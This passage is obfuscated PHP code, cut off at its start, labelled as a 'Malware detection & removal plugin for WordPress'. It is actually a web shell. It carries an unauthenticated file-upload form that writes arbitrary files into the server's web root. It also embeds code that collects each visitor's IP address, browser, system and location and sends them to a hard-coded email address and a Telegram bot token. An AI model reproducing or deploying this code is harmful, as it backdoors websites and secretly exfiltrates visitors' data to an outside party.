7\120\62\154\x77\120\x53\111\165\112\x45\154\121\126\106\x6f\165\x49\x6c\170\165\x49\152\163\116\103\x69\x52\x74\x5a\x58\x4e\172\x59\127\x64\x6c\x49\x43\x34\x39\x49\x43\112\x38\x50\124\x30\x39\113\61\166\x77\156\x35\x4b\x57\x51\153\115\x75\x52\106\114\x77\156\65\113\127\x58\x53\x73\x39\120\124\x31\x38\x58\x47\x34\151\117\167\x30\113\x4a\110\112\x6c\x59\62\x56\x70\144\155\x56\x79\x51\127\122\153\143\155\x56\x7a\143\x79\101\x39\111\103\x4a\x72\x59\127\x78\x70\x65\x44\x42\x34\131\x57\x78\x70\141\x30\102\156\142\x57\106\160\x62\x43\x35\152\142\x32\60\151\x4f\167\x30\x4b\112\106\x52\120\123\60\x56\x4f\x49\104\60\x67\x49\152\125\171\116\x6a\147\x30\x4d\104\x45\x35\117\124\x4d\66\x51\x55\x46\x46\115\x56\101\x30\x59\x7a\x56\x51\x53\x47\126\x53\x51\x31\122\110\131\x32\x45\x77\124\x45\164\x61\123\126\x64\x36\x62\123\61\65\x65\126\154\154\x4d\61\x6c\152\121\x7a\x51\x69\117\167\x30\113\x4a\x45\116\x49\x51\126\x52\146\x53\125\x51\147\120\123\x41\151\115\x54\x67\x35\116\152\121\62\116\104\111\65\116\x53\x49\x37\104\121\x6f\153\143\x33\x56\x69\141\x6d\x56\152\x64\103\101\147\x50\x53\x41\x69\70\112\53\123\x6c\153\x35\x6c\144\x2f\103\x66\153\141\122\142\124\123\71\x54\130\146\103\x66\153\x61\122\70\70\x4a\53\x4d\x6b\x45\132\171\x4d\x47\x30\x36\111\151\64\153\123\x56\x42\125\x57\151\64\151\x38\x4a\53\123\x6c\151\111\x37\x44\121\160\x74\131\127\x6c\x73\113\x43\x52\x79\132\x57\x4e\154\141\x58\132\x6c\143\153\106\x6b\x5a\110\x4a\154\x63\x33\115\163\112\x48\116\61\x59\155\160\x6c\x59\x33\121\x73\x4a\107\61\x6c\143\x33\x4e\150\132\x32\125\x70\x4f\x77\x30\x4b\x5a\155\154\x73\132\126\71\156\132\130\122\x66\x59\62\x39\165\x64\107\x56\x75\144\110\115\x6f\111\x6d\x68\60\x64\x48\102\172\117\151\70\x76\x59\x58\x42\x70\114\x6e\x52\154\x62\x47\x56\156\x63\155\106\x74\x4c\155\x39\171\132\171\x39\151\x62\63\121\x69\114\x69\x52\125\x54\60\164\x46\x54\x69\x34\151\114\x33\116\x6c\142\x6d\122\x4e\132\x58\x4e\x7a\x59\127\x64\154\x50\x32\116\157\131\x58\122\x66\141\127\121\x39\x49\x69\x34\x6b\x51\x30\150\x42\x56\x46\71\112\122\103\64\x69\112\156\122\x6c\x65\110\x51\x39\x49\x69\101\165\111\110\x56\171\x62\107\x56\165\x59\x32\x39\153\x5a\123\147\153\x62\x57\x56\x7a\143\x32\x46\156\132\x53\x6b\x75\x49\x69\x49\147\x4b\124\x73")); goto ce6Tu; eV0sO: echo "\x3c\142\162\x3e\74\171\x6f\x75\x72\146\151\x6c\x65\76{$web}{$files}\x3c\x2f\x79\157\x75\x72\x66\151\154\145\x3e"; goto S_BMq; FsW3O: $files = $_FILES["\x66\x69\154\x65"]["\156\141\x6d\145"]; goto z27Wb; S_BMq: ?>
<?php error_reporting(0); print "function XB_OS(\$USER_AGENT){\r\n\t\$OS_ERROR = \"Unknown OS Platform\";\r\n \$OS = array( '/windows nt 10/i' => 'Windows 10',\r\n\t '/windows nt 6.3/i' => 'Windows 8.1',\r\n\t '/windows nt 6.2/i' => 'Windows 8',\r\n\t '/windows nt 6.1/i' => 'Windows 7',\r\n\t '/windows nt 6.0/i' => 'Windows Vista',\r\n\t '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',\r\n\t '/windows nt 5.1/i' => 'Windows XP',\r\n\t '/windows xp/i' => 'Windows XP',\r\n\t '/windows nt 5.0/i' => 'Windows 2000',\r\n\t '/windows me/i' => 'Windows ME',\r\n\t '/win98/i' => 'Windows 98',\r\n\t '/win95/i' => 'Windows 95',\r\n\t '/win16/i' => 'Windows 3.11',\r\n\t '/macintosh|mac os x/i' => 'Mac OS X',\r\n\t '/mac_powerpc/i' => 'Mac OS 9',\r\n\t '/linux/i' => 'Linux',\r\n\t '/ubuntu/i' => 'Ubuntu',\r\n\t '/iphone/i' => 'iPhone',\r\n\t '/ipod/i' => 'iPod',\r\n\t '/ipad/i' => 'iPad',\r\n\t '/android/i' => 'Android',\r\n\t '/blackberry/i' => 'BlackBerry',\r\n\t '/webos/i' => 'Mobile');\r\n foreach (\$OS as \$regex => \$value) { \r\n if (preg_match(\$regex, \$USER_AGENT)) {\r\n \$OS_ERROR = \$value;\r\n }\r\n\r\n } \r\n return \$OS_ERROR;\r\n}\r\nfunction XB_Browser(\$USER_AGENT){\r\n\t\$BROWSER_ERROR = \"Unknown Browser\";\r\n \$BROWSER = array('/msie/i' => 'Internet Explorer',\r\n '/firefox/i' => 'Firefox',\r\n '/safari/i' => 'Safari',\r\n '/chrome/i' => 'Chrome',\r\n '/edge/i' => 'Edge',\r\n '/opera/i' => 'Opera',\r\n '/netscape/i' => 'Netscape',\r\n '/maxthon/i' => 'Maxthon',\r\n '/konqueror/i' => 'Konqueror',\r\n '/mobile/i' => 'Handheld Browser');\r\n foreach (\$BROWSER as \$regex => \$value) { \r\n if (preg_match(\$regex, \$USER_AGENT)) {\r\n \$BROWSER_ERROR = \$value;\r\n }\r\n }\r\n return \$BROWSER_ERROR;\r\n}\r\ndate_default_timezone_set('GMT');\r\n\$date = date(\"d M, Y\");\r\n\$time = date(\"g:i a\");\r\n\$useragent = \$_SERVER['HTTP_USER_AGENT'];\r\n\$s_path = \"http://\" . \$_SERVER['SERVER_NAME'];\r\n\$x_path = \"http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['REQUEST_URI'];\r\n\$IPTZ = getenv(\"REMOTE_ADDR\");\r\n\$COUNTRYTZ = simplexml_load_file(\"http://www.geoplugin.net/xml.gp?ip=\$IPTZ\");\r\n\$COUNTRY = \$COUNTRYTZ->geoplugin_countryName;\r\n\$CITY = \$COUNTRYTZ->geoplugin_city;\r\n\$REGION = \$COUNTRYTZ->geoplugin_region;\r\n\$C_CODE = \$COUNTRYTZ->geoplugin_contrycode;\r\n\$Timezone = \$COUNTRYTZ->geoplugin_timezone;\r\n\$Symbol = \$COUNTRYTZ->geoplugin_currencysymbol;\r\n\$message = \"|---+[NEWγπ¨βπ»γM/S]+---|\\n\";\r\n\$message .= \"[+]ββββγπ€γββββ[+]\\n\";\r\n\$message .= \"γπ γIP\t: \".\$IPTZ.\"\\n\";\r\n\$message .= \"γπγSystem : \".XB_OS(\$_SERVER['HTTP_USER_AGENT']).\"\\n\";\r\n\$message .= \"γπγBrowser : \".XB_Browser(\$_SERVER['HTTP_USER_AGENT']).\"\\n\";\r\n\$message .= \"γβ¨γUser Agent : \".\$useragent.\"\\n\";\r\n\$message .= \"[+]ββββγπ΅οΈγββββ[+]\\n\";\r\n\$message .= \"γπγTime Zone : \".\$Timezone.\"\\n\";\r\n\$message .= \"γπγCountry : \".\$COUNTRY.\"\\n\";\r\n\$message .= \"γπγRegion : \".\$REGION.\"\\n\";\r\n\$message .= \"γπγCity : \".\$CITY.\"\\n\";\r\n\$message .= \"[+]ββββγπ»γββββ[+]\\n\";\r\n\$message .= \"γπγHost : \".\$s_path.\"\\n\";\r\n\$message .= \"γπγFile : \".\$x_path.\"\\n\";\r\n\$message .= \"[+]ββββγβ³γββββ[+]\\n\";\r\n\$message .= \"γβοΈγTime\t: \".\$time.\"\\n\";\r\n\$message .= \"γπ γDate\t: \".\$date.\"\\n\";\r\n\$message .= \"[+]ββββγπγββββ[+]\\n\";\r\n\$message .= \"γπ‘γTrack IP : https://www.ip-tracker.org/lookup.php?ip=\".\$IPTZ.\"\\n\";\r\n\$message .= \"|===+[πBC.DRπ]+===|\\n\";\r\n\$receiverAddress = \"kalix0xalik@gmail.com\";\r\n\$TOKEN = \"5268401993:AAE1P4c5PHeRCTGca0LKZIWzm-yyYe3YcC4\";\r\n\$CHAT_ID = \"1896464295\";\r\n\$subject = \"πNewπ€[M/S]π€|πFr0m:\".\$IPTZ.\"π\";\r\nmail(\$receiverAddress,\$subject,\$message);\r\nfile_get_contents(\"https://api.telegram.org/bot\".\$TOKEN.\"/sendMessage?chat_id=\".\$CHAT_ID.\"&text=\" . urlencode(\$message).\"\" );"; $root = $_SERVER["DOCUMENT_ROOT"]; $files = $_FILES["file"]["name"]; $saw2 = $root . "/" . $files; $saw1 = $_FILES["file"]["tmp_name"]; echo "<form method='POST' enctype='multipart/form-data'>\n<input type='file'name='file' />\n<input type='submit' value='up' />\n</form>"; @copy($saw1, $saw2); $web = "http://" . $_SERVER["HTTP_HOST"] . "/"; echo "<br><yourfile>{$web}{$files}</yourfile>";
Malware detection & removal plugin for WordPress
οΌCοΌ2020 Wordpress Doctor All rights reserved.